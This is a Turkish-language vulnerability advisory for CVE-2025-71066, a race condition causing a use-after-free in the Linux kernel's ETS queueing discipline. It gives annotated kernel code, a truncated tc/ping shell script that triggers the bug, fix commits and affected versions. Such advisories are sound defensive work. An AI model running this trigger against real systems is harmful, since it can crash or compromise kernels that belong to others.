CVE-2025-71066
Açıklama
Linux kernel içerisinde aşağıdaki güvenlik açığı giderilmiştir: net/sched: ets: ets_qdisc_change fonksiyonunda silme işleminden önce sınıf her zaman aktif listeden kaldırılmalıdır [email protected] şunları belirtmektedir: Güvenlik açığı, `ets_qdisc_dequeue` ve `ets_qdisc_change` arasında bir yarış durumudur (race condition). Bu durum, `struct Qdisc` nesnesi üzerinde serbest bırakıldıktan sonra kullanım (UAF) hatasına yol açar. Saldırganın bu hatayı tetiklemek için yeni kullanıcı ve ağ ad alanı (network namespace) oluşturma yetkisine sahip olması gerekir. Analizin sonundaki ek yorumlarıma bakınız. Analiz: static int ets_qdisc_change(struct Qdisc *sch, struct nlattr *opt, struct netlink_ext_ack *extack) { ... // (1) bu kilit, .change işleyicisinin (`ets_qdisc_change`), // .dequeue işleyicisiyle (`ets_qdisc_dequeue`) yarışmasını önler sch_tree_lock(sch); for (i = nbands; i < oldbands; i++) { if (i >= q->nstrict && q->classes[i].qdisc->q.qlen) list_del_init(&q->classes[i].alist); qdisc_purge_queue(q->classes[i].qdisc); } WRITE_ONCE(q->nbands, nbands); for (i = nstrict; i < q->nstrict; i++) { if (q->classes[i].qdisc->q.qlen) { // (2) sınıf q->active listesine eklenir list_add_tail(&q->classes[i].alist, &q->active); q->classes[i].deficit = quanta[i]; } } WRITE_ONCE(q->nstrict, nstrict); memcpy(q->prio2band, priomap, sizeof(priomap)); for (i = 0; i < q->nbands; i++) WRITE_ONCE(q->classes[i].quantum, quanta[i]); for (i = oldbands; i < q->nbands; i++) { q->classes[i].qdisc = queues[i]; if (q->classes[i].qdisc != &noop_qdisc) qdisc_hash_add(q->classes[i].qdisc, true); } // (3) qdisc kilidi açılır, artık .change işleyicisinin geri kalanıyla // paralel olarak dequeue çağrılabilir sch_tree_unlock(sch); ets_offload_change(sch); for (i = q->nbands; i < oldbands; i++) { // (4) sınıfımızın qdisc referans sayısını azaltıyoruz ve onu serbest bırakıyoruz qdisc_put(q->classes[i].qdisc); // (5) Eğer (4) ve (5) arasında .dequeue çağırırsak, ciddi bir UAF oluşur ve RIP kontrol edilebilir q->classes[i].qdisc = NULL; WRITE_ONCE(q->classes[i].quantum, 0); q->classes[i].deficit = 0; gnet_stats_basic_sync_init(&q->classes[i].bstats); memset(&q->classes[i].qstats, 0, sizeof(q->classes[i].qstats)); } return 0; } Yorum: Bu durum, bazı sınıfların qdisc değerleri NULL olarak atanmış olsa bile aktif listede kalmaya devam etmeleri nedeniyle oluşmaktadır. Bu commit, ilişkili qdisc silinmeden ve serbest bırakılmadan önce sınıfı her zaman aktif listeden kaldırarak bu sorunu düzeltmektedir. Hata Tetikleme Adımları ([email protected] tarafından gönderilen metnin kırpılmış versiyonu) ``` DEV="${DEV:-lo}" ROOT_HANDLE="${ROOT_HANDLE:-1:}" BAND2_HANDLE="${BAND2_HANDLE:-20:}" # child under 1:2 PING_BYTES="${PING_BYTES:-48}" PING_COUNT="${PING_COUNT:-200000}" PING_DST="${PING_DST:-127.0.0.1}" SLOW_TBF_RATE="${SLOW_TBF_RATE:-8bit}" SLOW_TBF_BURST="${SLOW_TBF_BURST:-100b}" SLOW_TBF_LAT="${SLOW_TBF_LAT:-1s}" cleanup() { tc qdisc del dev "$DEV" root 2>/dev/null } trap cleanup EXIT ip link set "$DEV" up tc qdisc del dev "$DEV" root 2>/dev/null || true tc qdisc add dev "$DEV" root handle "$ROOT_HANDLE" ets bands 2 strict 2 tc qdisc add dev "$DEV" parent 1:2 handle "$BAND2_HANDLE" \ tbf rate "$SLOW_TBF_RATE" burst "$SLOW_TBF_BURST" latency "$SLOW_TBF_LAT" tc filter add dev "$DEV" parent 1: protocol all prio 1 u32 match u32 0 0 flowid 1:2 tc -s qdisc ls dev $DEV ping -I "$DEV" -f -c "$PING_COUNT" -s "$PING_BYTES" -W 0.001 "$PING_DST" \ >/dev/null 2>&1 & tc qdisc change dev "$DEV" root handle "$ROOT_HANDLE" ets bands 2 strict 0 tc qdisc change dev "$DEV" root handle "$ROOT_HANDLE" ets bands 2 strict 2 tc -s qdisc ls dev $DEV tc qdisc del dev "$DEV" parent ---truncated--- ```
Nasıl düzeltilir
- Linux Linux062d5d544e564473450d72e6af83077c2b2ff7c3, c7f6e7cc14df72b997258216e99d897d2df0dbbd, a75d617a4ef08682f5cfaadc01d5141c87e019c9, 9987cda315c08f63a02423fa2f9a1f6602c861a0, 06bfb66a7c8b45e3fed01351a4b087410ae5ef39, 45466141da3c98a0c5fa88be0bc14b4b6a4bd75c, ce052b9402e461a9aded599f5b47e76bc727f7de, 5.10.248, 5.15.198 ya da sonraki bir sürüm
Etkilenen ürünler
| Ürün | Etkilenen sürümler | Düzeltildiği sürüm |
|---|---|---|
| Linux Linux | ae2659d2c670252759ee9c823c4e039c0e05a6f2 ≤ v < 062d5d544e564473450d72e6af83077c2b2ff7c3, e25bdbc7e951ae5728fee1f4c09485df113d013c ≤ v < c7f6e7cc14df72b997258216e99d897d2df0dbbd, de6d25924c2a8c2988c6a385990cafbe742061bf ≤ v < a75d617a4ef08682f5cfaadc01d5141c87e019c9, de6d25924c2a8c2988c6a385990cafbe742061bf ≤ v < 9987cda315c08f63a02423fa2f9a1f6602c861a0, de6d25924c2a8c2988c6a385990cafbe742061bf ≤ v < 06bfb66a7c8b45e3fed01351a4b087410ae5ef39, de6d25924c2a8c2988c6a385990cafbe742061bf ≤ v < 45466141da3c98a0c5fa88be0bc14b4b6a4bd75c, de6d25924c2a8c2988c6a385990cafbe742061bf ≤ v < ce052b9402e461a9aded599f5b47e76bc727f7de, 5.10.83 ≤ v < 5.10.248, 5.15.6 ≤ v < 5.15.198, 5.16 | 062d5d544e564473450d72e6af83077c2b2ff7c3, c7f6e7cc14df72b997258216e99d897d2df0dbbd, a75d617a4ef08682f5cfaadc01d5141c87e019c9, 9987cda315c08f63a02423fa2f9a1f6602c861a0, 06bfb66a7c8b45e3fed01351a4b087410ae5ef39, 45466141da3c98a0c5fa88be0bc14b4b6a4bd75c, ce052b9402e461a9aded599f5b47e76bc727f7de, 5.10.248, 5.15.198 |
Sürümünüzü kontrol edin
Ürünü seçin ve kullandığınız sürümü yazın; sürümün etkilenen aralıkta olup olmadığını görün.
Attack Surface Management
Alan adlarınıza bağlı varlıkları, bu varlıklarda çalışan teknolojileri ve bilinen zafiyetleri tek listede görün.